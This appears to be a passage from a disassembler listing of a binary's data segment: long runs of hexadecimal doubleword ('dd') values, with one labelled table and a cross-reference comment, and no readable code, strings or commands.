		dd 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h, 0EC1BF1A2h
		dd 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh, 0BA029482h
		dd 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah, 8FAEC3ABh
		dd 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h, 14D60818h
		dd 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h,	437C9C00h
		dd 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h, 750B0C8h
		dd 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h,	275FC4F7h
		dd 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h, 9B12B2BBh
		dd 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h, 5100C2E9h
		dd 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h
		dd 348504Ah, 4C425A06h,	84C37210h, 0B3EF54B0h, 0B8278000h
		dd 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h, 96004022h
		dd 0F0C747D8h, 230148h,	0E676045h, 0CDAB894Ch, 50EF4000h
		dd 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h, 8100C3D2h
		dd 22EEEF5Ch, 3600EC0h,	0FEDCBA98h, 10E06480h, 8901ABCDh
		dd 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h,	9300ACE1h
		dd 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h, 7E08008h
		dd 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h, 0F4D553DBh
		dd 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h, 0D82F707Fh
		dd 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h, 0DD8192C4h
		dd 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h,	7B816A09h
		dd 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh, 7B74BF54h
		dd 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h
		dd 24A91229h, 3B51064h,	0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch
		dd 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h, 0EB00EAB3h
		dd 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h, 0BDA71801h
		dd 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh, 3105BDBAh
		dd 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h, 0AF005DE8h
		dd 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh, 808CF503h
		dd 0F07013DBh, 692124h,	4C33A91Ch, 0F101188h, 0F87C7E0Fh
		dd 7DAB40FDh, 0BDCE17h,	0A9F047C1h, 234E9C24h, 4BE2600h
		dd 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h
		dd 4610DE70h, 6714C1BEh, 147870h, 87C62A01h, 52F13547h
		dd 34978C00h, 90CC8523h, 13040018h, 27A83046h, 40077E58h
		dd 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h, 4369080Fh
		dd 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h, 0CDE49D87h
		dd 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch, 1E905CD7h
		dd 3B10C065h, 30C485BFh, 11220107h, 88506B90h, 7F5E08B0h
		dd 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch, 38519D88h
		dd 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h, 0F1E9E849h
		dd 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h, 58C4CB1h
		dd 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h, 0A1785CB1h
		dd 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h, 30147681h
		dd 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h,	9600D7D2h
		dd 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh,	0D62F3010h
		dd 9888A3E8h, 285138h, 42441453h, 0BB42302h, 5729B7C4h
		dd 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h, 40D300FBh
		dd 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h,	721E1CDh
		dd 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh
		dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h
		dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh
		dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh
		dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh
		dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h,	2BA09DC2h
		dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h
		dd 7D04C55h, 6122E02Bh,	856DA39Dh, 0E2B5ADD0h, 700E1000h
		dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h
		dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h
		dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h
		dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h
		dd 993D143h, 27FAEF41h,	83488E82h, 1641A1E2h, 1BCEFC5Ch
		dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h
		dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh
		dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h
		dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h
		dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h,	97000185h
		dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh
		dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h
		dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h,	9AD8C400h
		dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h,	0C40D544h
		dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h
		dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h
		dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h
		dd 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h
		dd 8D2A107h, 96044E00h,	9017A832h, 1F82EE10h, 82F7537Eh
		dd 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch
		dd 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh,	0D39100C2h
		dd 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h
		dd 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h
		dd 641545Ah, 7CFD5852h,	0A64ABE05h, 0FAFC3Fh, 11A7B4EBh
		dd 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h
		dd 0F5504890h
		dd 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh, 0AE6E9h
		dd 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh,	3F97F51h
		dd 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh,	1F4C37C7h
		dd 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch, 67AE5087h
		dd 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah,	80D7143Ch
		dd 8A2B5A3h, 58D59502h,	17BD71Fh, 7E2B3CCh, 0DD6C1904h
		dd 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h,	0E6EBF600h
		dd 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh,	800E83B6h
		dd 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h, 230B280h
		dd 71CB5CEh, 8D1A0640h,	59A08F88h, 46CD1834h, 720C81Dh
		dd 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h, 0BEE2AE91h
		dd 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h
		dd 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h, 2E1037A9h
		dd 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh, 0C0346437h
		dd 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh, 6DB69773h
		dd 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h, 2F283791h
		dd 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h, 469900C1h
		dd 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h, 0C374C00h
		dd 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h,	3887A42Ah
		dd 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h, 9BF0ACC4h
		dd 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h, 0C937E794h
		dd 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h, 0A54C433Dh
		dd 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h, 6214230Ch
		dd 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h
		dd 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h, 2CFE2Eh
		dd 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch, 4E0360h
		dd 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh, 3228025h
		dd 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh, 0F9485DBh
		dd 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh
		dd 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh, 0FBC8C42h
		dd 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h,	0BD9D0718h
		dd 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h
		dd 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h, 0DD4C0105h
		dd 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h,	0A4A87D01h
		dd 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h, 54888CFh
		dd 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h, 2EBCD007h
		dd 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh,	0DE4CAF00h
		dd 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h, 811009CAh
		dd 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch,	1DA500E1h
		dd 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h,	54A43724h
		dd 12080E00h, 0E601D9h,	0A9ED2116h, 2C7920C4h, 22F93109h
		dd 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch, 4E00AA10h
		dd 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh,	3F0CE2AAh
		dd 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh,	8006569Ch
		dd 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h, 97134C34h
		dd 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h, 0EAC4313h
		dd 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h, 22CFEEh
		dd 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h, 174B8F5h
		dd 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h,	1BD00506h
		dd 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh,	0FB4ED472h
		dd 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h, 6F4A4CCAh
		dd 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh,	9088D496h
		dd 0B17DEFh, 9D28467Eh,	0F2A4C010h, 0F5A1361Fh,	38290B00h
		dd 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h, 69AE1D84h
		dd 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh,	0D1958EFFh
		dd 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h,	142F43Fh
		dd 0E95018C8h, 13208DAEh, 62F023h, 4216E427h, 0AF1C843Ch
		dd 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h,	244C8900h
		dd 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h,	571F5E00h
		dd 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h,	3F50E4F8h
		dd 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h, 4C592D2Eh
		dd 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h,	0E9C40009h
		dd 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh,	0FE5A00B9h
		dd 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh, 0A159E2A4h
		dd 984BE623h, 242F862h,	2ECFB118h, 0C6405662h, 0FF1F3452h
		dd 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h, 0F03C165Fh
		dd 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h,	2DAC22B3h
		dd 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh, 4A089FABh
		dd 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh,	0D9C2F030h
		dd 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h, 5C4D27D1h
		dd 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h, 0E85C136Dh
		dd 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h,	0BFA32280h
		dd 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h, 5B45DB05h
		dd 5F09024h, 38507BF9h,	6226C3E9h, 3560B4DAh, 2B059714h
		dd 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh,	1A052238h
		dd 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh,	0F1561527h
		dd 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah,	0F41A682h
		dd 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h, 0EA13DDF8h
		dd 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh,	0CC03A513h
		dd 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h,	0FCDD6510h
		dd 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h,	0A4D7CE7h
		dd 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h,	0EC1B0960h
		dd 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h,	0EC56682Ch
		dd 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh,	0B89D979Fh
		dd 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch,	9C0C7CDh
		dd 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh,	71E35C89h
		dd 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah, 1E080059h
		dd 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h,	0CE2970FEh
		dd 167CD085h, 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh
		dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
		dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h,	9FEEF2A6h
		dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h,	0AA3E3EEFh
		dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
		dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
		dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h,	4008006h
		dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h
		dd 0BB31C413h, 881438h,	0A58552C0h, 7C428CC5h, 7C6BF048h
		dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h
		dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h
		dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h,	0E3C0040Ch
		dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h,	1336F100h
		dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h
		dd 3837BD00h, 0D4189h
		dd 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h
		dd 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h
		dd 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h,	0E4A8C200h
		dd 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh
		dd 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh,	80A15061h
		dd 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh,	5E34A787h
		dd 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h,	94D79F00h
		dd 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h,	0F172D307h
		dd 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh,	0B00C42Ch
		dd 2EF49D04h, 0A43C30h,	0CE034C7Fh, 0C941062h, 9F508800h
		dd 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h,	190ACAA3h
		dd 12504AE0h, 3A580991h, 0F802108h, 47E4A542h, 97487E01h
		dd 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h, 849CBD1Ch
		dd 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h, 646D43Ch
		dd 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h
		dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh
		dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h
		dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h
		dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh,	42CE4DB6h
		dd 3050CE6h, 1CDA0849h,	20D85B14h, 76002734h, 402D4258h
		dd 0C1F041h, 3905E624h,	5312EF97h, 0FB005DECh, 4945D733h
		dd 15C940Fh, 810834B0h,	0F025BFC6h, 24000901h, 28007F2h
		dd 1EE231h, 0D6D3E30Bh,	32A221E6h, 907C4A00h, 0B833F934h
		dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h,	28E7EDh
		dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah
		dd 1F764D5h, 9A531EE7h,	6011F121h, 6A0434A5h, 543AA074h
		dd 0A18E4BC1h, 42F3C8h,	1E0FE368h, 84F2E8B2h, 38FA3000h
		dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h,	4A8F0700h
		dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h,	23002C90h
		dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h,	48C86B44h
		dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h
		dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h
		dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh
		dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh
		dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h
		dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h
		dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h
		dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh
		dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h
		dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh
		dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh
		dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h
		dd 48F7AC4h, 1DA032F1h,	1660C5E2h, 0ACCC431Dh, 81DE42CFh
		dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh
		dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h
		dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh,	7780BCAh
		dd 0F4870063h, 2C4ABAh,	886F883h, 0CA62C1D6h, 0FC957703h
		dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h
		dd 2EA5C208h, 10CCBE0h,	10C46B1Dh, 14C83F02h, 0AA34C0F5h
		dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h
		dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h,	0BB7374E0h
		dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h
		dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h
		dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h
		dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah,	840111DCh
		dd 0E4BAC766h, 1E90ECh,	0FF5014E3h, 0C1E0166Fh,	3205C000h
		dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h
		dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h
		dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h,	82960136h
		dd 7E908173h, 3B8ECE3h,	3C01AF98h, 0C6BFC241h, 7DC06BCh
		dd 9C70038h, 0CC5C105h,	1717E29h, 87C0CC3Bh, 0CD410D80h
		dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h,	11E0B80h
		dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h,	0DBC11B00h
		dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch
		dd 1DC4138h, 81D4C114h,	15C040D5h, 0C0D70001h, 41168017h
		dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h
		dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h
		dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h
		dd 13D04FDh, 2083C0FFh,	0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h
		dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h,	0EBC829FDh
		dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh,	0ED0BC12Dh
		dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h
		dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h
		dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h
		dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch
		dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h
		dd 0AB701Ch, 81A9C169h,	687040A8h, 0B8027867h, 7900B947h
		dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h
		dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h
		dd 403BB681h
dword_50005C	dd 87720E76h, 80B340B2h, 81B10173h, 4170DC71h, 5010B070h
					; DATA XREF: seg002:off_4469D4o
		dd 910090C1h, 93015140h, 528053C0h, 76927441h, 1C567896h
		dd 1971C57h, 8195C155h,	54CD4094h, 0C0019C01h, 415D805Ch
		dd 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah,	5B60E09Bh
		dd 59C099BEh, 41581F80h, 0DD88DF98h, 9F491D48h,	0CE4B9889h
		dd 8A1D818Bh, 4E874A40h, 8F208E87h, 40014F80h, 4CEE4D8Dh
		dd 88C4138h, 0B84C144h,	0B1814085h, 8747C087h, 864146CEh
		dd 42678247h, 831C4380h, 0C19C003Dh, 38EC6681h,	7C07A8DBh
		dd 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh,	899D505Dh
		dd 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah,	5F531D0Eh
		dd 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh, 0C8E36E59h
		dd 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h, 2FE83D73h
		dd 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h, 31EC13h
		dd 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h, 0F4154CF0h
		dd 30F64Bh, 0A101B247h,	0E8217061h, 6E1BBB1Eh, 0D63A9680h
		dd 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah
		dd 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h,	9C3B24h
		dd 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h
		dd 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h
		dd 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h
		dd 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h,	0FC0680F8h
		dd 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh
		dd 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h,	8DB38615h
		dd 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh
		dd 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh
		dd 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h
		dd 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h,	8C0E5567h
		dd 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h
		dd 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h
		dd 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h
		dd 200DEE2h, 23D6F7F3h,	275DF2h, 3920B22h, 767E1C6h, 40C3D500h
		dd 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh
		dd 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h
		dd 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h
		dd 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h
		dd 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h,	0B33C4E82h
		dd 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh
		dd 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh
		dd 10878021h, 52801E34h, 938013Ah, 97791257h, 0F3C10E0h
		dd 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh
		dd 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h, 0A9F35C88h
		dd 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h
		dd 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h,	86164839h
		dd 524A1CEh, 6F315314h,	20C897Ah, 48202523h, 0C3001CBCh
		dd 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h,	2301206h
		dd 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h, 84000469h
		dd 0B22A2041h, 296EECh,	1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh
		dd 6B002812h, 38201042h, 0D6591F95h, 0A1880336h, 13B01757h
		dd 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh
		dd 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah,	0C2D9093h
		dd 18598832h, 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h
		dd 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h,	0BCB0424h
